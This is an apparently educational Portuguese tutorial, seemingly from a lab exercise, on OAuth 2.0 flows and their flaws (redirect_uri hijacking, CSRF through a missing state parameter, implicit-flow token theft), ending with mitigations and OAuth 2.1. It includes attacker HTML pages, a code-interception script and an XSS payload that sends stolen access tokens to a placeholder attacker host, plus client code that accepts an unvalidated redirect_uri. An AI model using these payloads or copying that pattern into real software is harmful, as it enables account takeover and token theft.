Vulnerabilidades no Protocolo OAuth: Exploração e Defesa

Este conteúdo aborda o funcionamento do protocolo OAuth e técnicas de exploração de vulnerabilidades associadas a ele.

Introdução

Em aplicações web modernas, vulnerabilidades relacionadas ao OAuth representam um risco significativo e frequentemente subestimado. Quando nos referimos ao OAuth, geralmente falamos do OAuth 2.0, um framework de autorização amplamente adotado. Falhas na implementação do OAuth 2.0 podem resultar em ataques como CSRF, XSS, vazamento de dados e outras explorações.

Nota: OAuth significa Open Authorization (Autorização Aberta). Este protocolo estabelece um padrão seguro e simplificado para a autorização de recursos do usuário. Diferentemente de métodos tradicionais, o OAuth não expõe as credenciais do usuário (como nome de usuário e senha) a terceiros.

Pré-requisitos

  • OWASP Top 10
  • Protocolos e Servidores
  • Funcionamento de Websites

Conceitos Fundamentais do OAuth

Esta seção explora os pilares do OAuth 2.0. Compreender esses conceitos é essencial tanto para profissionais de segurança quanto para desenvolvedores. Utilizaremos como exemplo prático um aplicativo de cafeteria para pedidos e pagamentos.

O OAuth 2.0 é um framework de autorização que permite a um cliente terceiro (Client) acessar recursos protegidos (Protected Resource) mediante autorização do proprietário dos recursos (Resource Owner), utilizando tokens de acesso (Access Token). Os papéis centrais incluem:

  1. Proprietário do Recurso (Resource Owner): o usuário que detém os dados.
  2. Cliente (Client): a aplicação que solicita acesso (web ou mobile).
  3. Agente do Usuário (User Agent): navegador web utilizado pelo usuário.
  4. Servidor de Autorização (Authorization Server): emite tokens de acesso.
  5. Servidor de Recursos (Resource Server): armazena e disponibiliza os dados protegidos.

Proprietário do Recurso

É a pessoa ou sistema que controla determinados dados e pode conceder permissão a uma aplicação para acessá-los em seu nome. No exemplo da cafeteria, o cliente é o proprietário do recurso: controla sua conta e pode autorizar o aplicativo a acessar suas informações.

Cliente

Pode ser um aplicativo móvel ou uma aplicação web server-side. Atua como intermediário, solicitando acesso e executando operações autorizadas pelo proprietário. O aplicativo da cafeteria é o cliente neste cenário.

Servidor de Autorização

Responsável por validar a identidade do proprietário do recurso e emitir tokens de acesso após a autorização. O backend da cafeteria que processa autenticação e autorização é um exemplo de servidor de autorização.

Servidor de Recurso

Hospeda os recursos protegidos e responde a requisições autenticadas usando tokens de acesso. O banco de dados da cafeteria, que armazena informações de conta, histórico de pedidos e dados de pagamento, é o servidor de recurso.

Concessão de Autorização (Authorization Grant)

Credenciais que o cliente utiliza para obter tokens de acesso em nome do proprietário do recurso. Os principais tipos incluem:

  • Authorization Code (Código de Autorização)
  • Implicit (Implícito)
  • Resource Owner Password Credentials (Credenciais de Senha do Proprietário)
  • Client Credentials (Credenciais do Cliente)

Token de Acesso (Access Token)

Credencial utilizada pelo cliente para acessar recursos protegidos. Possui escopo e tempo de validade limitados. No exemplo da cafeteria, após o login, o aplicativo recebe um token que permite realizar pedidos e pagamentos sem exigir reautenticação dentro do período de validade.

Token de Atualização (Refresh Token)

Permite ao cliente obter novos tokens de acesso sem que o proprietário precise se autenticar novamente. Geralmente possui validade mais longa e proporciona continuidade na sessão do usuário.

URI de Redirecionamento

Endereço para o qual o servidor de autorização redireciona o agente do usuário após a concessão ou negação da autorização. Deve corresponder a um URI previamente registrado no servidor.

Escopo (Scope)

Mecanismo que limita o acesso da aplicação à conta do usuário. Permite que o cliente especifique o nível de acesso desejado e que o servidor de autorização informe ao usuário o que está sendo solicitado, seguindo o princípio do menor privilégio.

Parâmetro state

Parâmetro opcional que mantém o estado entre o cliente e o servidor de autorização. Auxilia na prevenção de ataques CSRF ao garantir que a resposta corresponda à requisição original.

Endpoints de Token e Autorização

O endpoint de token é onde o cliente troca a concessão de autorização por um token de acesso. O endpoint de autorização é onde o proprietário do recurso se autentica e autoriza o cliente.

Tipos de Concessão de Autorização no OAuth 2.0

O OAuth 2.0 oferece múltiplos tipos de concessão para diferentes cenários e tipos de cliente.

Código de Autorização (Authorization Code)

O tipo mais utilizado, ideal para aplicações server-side (PHP, Java, .NET). O cliente redireciona o usuário ao servidor de autorização, onde ele se autentica e concede permissão. O servidor então retorna um código de autorização, que o cliente troca por um token de acesso via comunicação server-to-server. Isso evita a exposição do token ao agente do usuário, reduzindo riscos de vazamento.

Concessão Implícita (Implicit)

Projetada para aplicações mobile e web que não conseguem armazenar segredos de forma segura. O token de acesso é retornado diretamente ao cliente, sem a etapa de troca por código de autorização. O token é entregue no fragmento da URL. Embora mais rápida, esta modalidade é menos segura, pois o token fica exposto ao agente do usuário e não suporta tokens de atualização.

Credenciais de Senha do Proprietário (Resource Owner Password Credentials)

Utilizada quando o cliente possui alto nível de confiança do proprietário (aplicações first-party). O cliente coleta diretamente as credenciais do usuário e as troca por um token de acesso. Apesar da simplicidade, apresenta riscos ao compartilhar credenciais diretamente com o cliente.

Credenciais do Cliente (Client Credentials)

Destinada a comunicações server-to-server, sem envolvimento do usuário. O cliente se autentica com suas próprias credenciais (client ID e secret) e recebe diretamente um token de acesso. Não expõe dados do usuário.

Fluxo de Trabalho do OAuth

O fluxo OAuth 2.0 se inicia quando o usuário interage com o cliente e solicita acesso a um recurso específico. O cliente redireciona o usuário ao servidor de autorização para autenticação e consentimento. Após a aprovação, o servidor emite um código de autorização, que é trocado por um token de acesso.

Passo a passo (modo Authorization Code):

  1. O usuário inicia a solicitação de autorização via cliente;
  2. É redirceionado ao servidor de autorização para autenticação e consentimento;
  3. O servidor de autorização devolve o código de autorização;
  4. O cliente troca o código por um token de acesso;
  5. O cliente utiliza o token para acessar o servidor de recursos.

Solicitação de Autorização

Ao clicar em "Login via OAuth", o navegador é redirecionado ao servidor de autorização com os seguintes parâmetros na URL:

  • response_type=code: indica que se espera um código de autorização;
  • state: token CSRF para integridade da transação;
  • client_id: identificador público do cliente;
  • redirect_uri: destino após a autorização (deve coincidir com o URI registrado);
  • scope: nível de acesso solicitado.

Código Python para construir a URL de autorização:

def iniciar_autorizacao(requisicao):
    aplicativo = Aplicacao.objects.get(nome="AppCafe")
    uri_retorno = requisicao.GET.get("redirect_uri", "http://bistro.thm:8000/oauthdemo/callback")
    
    url_autorizacao = (
        f"http://coffee.thm:8000/o/authorize/?client_id={aplicativo.client_id}&response_type=code&redirect_uri={uri_retorno}"
    )
    return redirect(url_autorizacao)

Autenticação e Consentimento

O processo envolve dois passos: primeiro, o usuário se autentica no servidor de autorização; depois, é apresentada uma tela de consentimento detalhando as permissões solicitadas. O usuário decide se concede ou recusa o acesso.

Resposta de Autorização

Se o usuário aprova, o servidor gera um código de autorização e redireciona o navegador de volta ao cliente, incluindo o código e o parâmetro state na URL.

Solicitação do Token

O cliente envia uma requisição POST ao endpoint de token do servidor de autorização:

url_token = "http://coffee.thm:8000/o/token/"
    id_cliente = Aplicacao.objects.get(nome="AppCafe").client_id
    segredo_cliente = Aplicacao.objects.get(nome="AppCafe").client_secret
    uri_retorno = requisicao.GET.get("redirect_uri", "http://bistro.thm:8000/oauthdemo/callback")
    
    corpo = {
        "grant_type": "authorization_code",
        "code": codigo,
        "redirect_uri": uri_retorno,
        "client_id": id_cliente,
        "client_secret": segredo_cliente,
    }
    
    cabecalhos = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Authorization': f'Basic {base64.b64encode(f"{id_cliente}:{segredo_cliente}".encode()).decode()}',
    }
    
    resposta = requests.post(url_token, data=corpo, headers=cabecalhos)
    tokens = resposta.json()

Resposta do Token

O servidor de autorização valida as informações e retorna o token de acesso (e opcionalmente o token de atualização). O token de acesso permite ao cliente autenticar requisições junto ao servidor de recursos.

Identificando Serviços OAuth

Indícios do uso de OAuth geralmente surgem no processo de login, especialmente quando há opções de autenticação com provedores externos (Google, Facebook, GitHub). Analisando o tráfego de rede, observe redirecionamentos HTTP para URLs do servidor de autorização contendo parâmetros como response_type, client_id, redirect_uri, scope e state.

Exemplo de URL de autorização:

https://dev.coffee.thm/authorize?response_type=code&client_id=AppClientID&redirect_uri=https://dev.coffee.thm/callback&scope=profile&state=xyzSecure123

Para identificar o framework OAuth utilizado:

  • Cabeçalhos HTTP: busque identificadores de bibliotecas específicas;
  • Código-fonte: pesquise importações como django-oauth-toolkit, oauthlib, spring-security-oauth ou passport;
  • Endpoints: analise padrões de endpoints (ex: /oauth/authorize/);
  • Mensagens de erro: podem revelar a pilha tecnológica subjacente.

Exploração: Sequestro de Tokens OAuth

Os tokens no OAuth 2.0 funcionam como chaves digitais de acesso a recursos protegidos. Eles são emitidos pelo servidor de autorização e redirecionados ao cliente conforme o parâmetro redirect_uri. Se esse parâmetro não estiver devidamente protegido, atacantes podem interceptar tokens.

O Papel do redirect_uri

O parâmetro redirect_uri indica para onde o servidor de autorização deve enviar o token após a conclusão. Este URI deve estar previamente registrado para evitar vulnerabilidades de redirecionamento aberto.

A Vulnerabilidade

Se um atacante obtiver controle sobre qualquer domínio listado no redirect_uri, poderá manipular o fluxo OAuth para interceptar tokens. Exemplo:

  • Uma aplicação OAuth possui o URI http://dev.bistro.thm/callback registrado;
  • O atacante compromete o subdomínio dev.bistro.thm;
  • Configura o redirect_uri apontando para seu domínio controlado;
  • Após a autorização do usuário, o token é enviado ao atacante.

Preparação da Carga

O atacante pode hospedar uma página HTML no domínio comprometido:

     <form action="http://coffee.thm:8000/oauthdemo/oauth_login/" method="get">
            <input type="hidden" name="redirect_uri" value="http://dev.bistro.thm:8002/pagina_maliciosa.html">
            <input type="submit" value="Login via OAuth + Interceptar Token">
        </form>

A página de interceptação extrai o código de autorização da URL:

<script>
            const parametrosUrl = new URLSearchParams(window.location.search);
            const codAutorizacao = parametrosUrl.get('code');
            document.getElementById('auth_code').innerText = codAutorizacao;
            console.log("Código de autorização interceptado:", codAutorizacao);
        </script>

O atacante distribui o link via engenharia social ou CSRF. Quando a vítima clica, insere suas credenciais no servidor de autorização legítimo, e o código de autorização é redirecionado para o domínio controlado pelo atacante.

Perspectiva do Atacante

Com o código de autorização interceptado, o atacante acessa o endpoint /callback para trocá-lo por um token de acesso válido, obtendo acesso não autorizado aos recursos protegidos da vítima.

Exploração: CSRF no OAuth

O parâmetro state no OAuth 2.0 serve como proteção contra ataques CSRF, nos quais um atacante induz o usuário a executar ações indesejadas em uma aplicação autenticada.

Vulnerabilidade por Ausência do State

Quando o parâmetro state está ausente ou é previsível (valor estático ou sequência simples), o atacante pode iniciar o fluxo OAuth com um URI de redirecionamento malicioso. Após a autenticação do usuário, o código de autorização é redirecionado para o URI controlado pelo atacante.

Exemplo Prático

Uma aplicação de sincronização de contatos (mycontacts.thm:8080) permite vincular contas de plataformas externas. Ao clicar em "Sync Contacts", a URL de autorização gerada não inclui o parâmetro state:

http://coffee.thm:8000/o/authorize/?response_type=code&client_id=kwoy5pKgHOn0bJPNYuPdUL2du8aboMX1n9h9C0PN&redirect_uri=http%3A%2F%2Fcoffee.thm%2Fcsrf%2Fcallbackcsrf.php

Fluxo do Ataque

  1. O atacante obtém seu próprio código de autorização;
  2. Prepara uma carga com o código no parâmetro code;
  3. Envia o link à vítima via engenharia social;
  4. Quando a vítima acessa o link autenticada, a conta do atacante é vinculada à conta da vítima;
  5. Todos os contatos da vítima são transferidos para a conta do atacante.

Exploração: Fluxo de Concessão Implícita

No fluxo implícito, o token de acesso é retornado diretamente ao cliente via fragmento da URL (após o símbolo #), sem passar por um código de autorização intermediário. Este fluxo apresenta vulnerabilidades inerentes:

  • Exposição do token na URL: qualquer script na página pode acessar o fragmento;
  • Validação insuficiente do redirect_uri: permite manipulação do endpoint de redirecionamento;
  • Ausência de HTTPS: expõe o token a ataques man-in-the-middle;
  • Armazenamento inseguro do token: tokens em localStorage ou sessionStorage ficam vulneráveis a XSS.

Exemplo de Ataque com XSS

Uma aplicação que sincroniza status (factbook.thm:8080) utiliza o fluxo implícito. O endpoint de autorização é construído via JavaScript:

var id_cliente = 'npmL7WDiRoOvjZoGSDiJhU2ViodTdygjW8rdabt7';
var uri_retorno = 'http://factbook.thm:8080/callback.php'; 
var url_auth = "http://coffee.thm:8000/o/authorize/";
var url_completa = url_auth + "?response_type=token&client_id=" + id_cliente + "&redirect_uri=" + encodeURIComponent(uri_retorno);
window.location.href = url_completa;

O campo de status na página de destino é vulnerável a XSS. O atacante injeta o seguinte payload:

<script>var fragmento = window.location.hash.substr(1);var dados = fragmento.split('&').reduce(function (acumulador, item) {var pares = item.split('=');acumulador[pares[0]] = pares[1];
    return acumulador;
  }, {});
  var tokenAcesso = dados.access_token;
    var imagem = new Image();
    imagem.src = 'http://IP_DO_ATAcANTE:8081/capturar_token?token=' + tokenAcesso;
</script>

Quando executado, o script extrai o token do fragmento da URL e o envia ao servidor do atacante por meio de uma requisição de imagem, permitindo o acesso não autorizado à conta da vítima.

Descontinuação do Fluxo Implícito

Devido a essas vulnerabilidades, as melhores práticas atuais do OAuth 2.0 recomendam descontinuar o fluxo implícito em favor do fluxo de código de autorização com PKCE (Proof Key for Code Exchange).

Outras Vulnerabilidades e Evolução para OAuth 2.1

Validade Excessiva de Tokens

Tokens com vida útil longa ou ilimitada representam risco significativo. A implementação de tokens de curta duração com mecanismo de refresh token reduz a janela de oportunidade do atacante.

Ataques de Repetição (Replay)

Consistem na captura e reutilização de tokens válidos. O uso de valores nonce e verificação de timestamp pode garantir que cada token seja utilizado apenas uma vez.

Armazenamento Inseguro de Tokens

Manter tokens em arquivos locais sem criptografia ou em locais acessíveis expõe credenciais a roubo. Recomenda-se utilizar mecanismos seguros como cookies seguros ou bancos de dados criptografados.

O OAuth 2.1

O OAuth 2.1 representa a evolução mais recente do padrão, construído sobre o OAuth 2.0 com foco em corrigir deficiências e reforçar a segurança. As mudanças principais incluem:

  • Descontinuação do fluxo implícito: substituído pelo fluxo de código de autorização com PKCE para clientes públicos;
  • Obrigatoriedade do parâmetro state: prevenção reforçada contra CSRF;
  • Armazenamento seguro de tokens: desencoraja o uso de localStorage, recomendando cookies seguros;
  • Validação aprimorada: diretrizes mais claras para validação de redirect URIs, autenticação de clientes e verificação de escopo.

O OAuth 2.1 consolida boas práticas de segurança, proporcionando um framework de autorização mais robusto e confiável.

Tags: OAuth OAuth 2.0 OAuth 2.1 Authorization Code Implicit Grant

Publicado em 6-2 03:28 por Thomas